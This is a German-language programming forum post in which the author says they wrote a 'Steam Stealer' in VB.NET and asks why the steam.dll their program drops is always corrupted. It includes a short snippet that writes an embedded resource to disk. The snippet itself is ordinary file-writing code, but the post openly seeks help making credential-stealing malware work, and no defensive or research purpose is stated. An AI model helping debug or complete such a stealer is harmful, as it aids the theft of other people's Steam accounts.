[VB.NET] Dll nach Droppen immer Kaputt

[hackerking]

Jo Hey Leute..
Also. Ich habe nen Steam Stealer geschrieben. Der soll auch die steam.dll droppen. jedoch schrottet er sie wohl anscheinend immer beim droppen...
denn wenn ich die steam.dll manuell rein kopieren und den stealer starte funktioniert alles. wenn ich jedoch mit dem stealer die dll droppe, dann krieg ich den fehler:

Es wurde versucht, eine Datei mit einem falschen Format zu laden. (Ausnahme von HRESULT: 0x8007000B)

Mein Code sieht so aus (zum droppen):

        If File.Exists(StartupPath.ToString & "\Steam.dll") Then Kill(StartupPath.ToString & "\Steam.dll")
        Dim SteamDll() As Byte = My.Resources.Steam

        FileOpen(1, StartupPath.ToString & "\Steam.dll", OpenMode.Binary)
        FilePutObject(1, SteamDll)
        FileClose(1)